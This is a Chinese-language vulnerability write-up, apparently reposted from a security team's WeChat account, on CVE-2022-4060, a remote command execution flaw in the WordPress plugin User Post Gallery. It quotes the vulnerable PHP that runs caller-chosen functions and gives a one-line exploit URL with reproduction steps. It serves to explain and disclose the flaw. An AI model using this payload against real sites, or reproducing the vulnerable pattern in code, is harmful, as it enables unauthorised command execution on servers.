本文来自公众号:乌托邦安全团队
原文地址:https://mp.weixin.qq.com/s/qfGzRS_8ZABYReqjmBG35g
0x00 概述
User Post Gallery – UPG是WordPress的插件,该插件存在远程命令执行漏洞,公开于2022年12月26日,CVE编号:CVE-2022-4060。
0x01 漏洞成因
截止2023年1月17日,因该漏洞一直未修复,在WordPress官方已暂时将该插件的下载,我只能在Github上找到了2021年上传的插件源码,庆幸的是该漏洞存在,我们对源码进行分析。
漏洞存在于wp-upg.php文件的upg_datatable函数。
先看下面的代码片段:
$val = array();
$val_param1 = array();
$val_param2 = array();
$val_param3 = array();
$values = explode(\',\', $request[\'field\']);
foreach ($values as $option) {
$cap = explode(\":\", $option);
//$cap[0] Is a column label assigned in datatable.php
array_push($val, $cap[1]);
if (isset($cap[2])) {
array_push($val_param1, $cap[2]);
} else {
array_push($val_param1, \'\');
}
if (isset($cap[3])) {
array_push($val_param2, $cap[3]);
} else {
array_push($val_param2, \'\');
}
if (isset($cap[4])) {
array_push($val_param3, $cap[4]);
} else {
array_push($val_param3, \'\');
}
}
该函数在获取了请求参数field之后,以“:”进行分割,第二个值放入$val,分别将第三个值放入$val_param1,第四个值放入$val_param2,第五个值放入$val_param3。
这里是对请求的参数进行解析和赋值的操作,继续看后面的代码片段是如何使用这几个参数的。
for ($x = 0; $x < count($val); $x++) {
$func_name = trim($val[$x]);
if (function_exists($func_name)) {
$nestedData[] = $func_name($val_param1[$x], $val_param2[$x], $val_param3[$x]);
} else {
$nestedData[] = $func_name . \"(\'\" . $val_param1[$x] . \"\',\'\" . $val_param2[$x] . \",\'\" . $val_param3[$x] . \"\') is invalid php function\";
}
}
将$val的值作为函数名,分别传入$val_param1、$val_param2、$val_param3的值并执行函数,至此造成了RCE。
Payload的构造也极其简单,http://target/admin-ajax.php?action=upg_datatable&field=field:exec:id:NULL:NULL。
0x02 漏洞复现
- 在WordPress中安装UPG插件。
- 带payload访问站点。
漏洞利用成功
THE END
暂无评论内容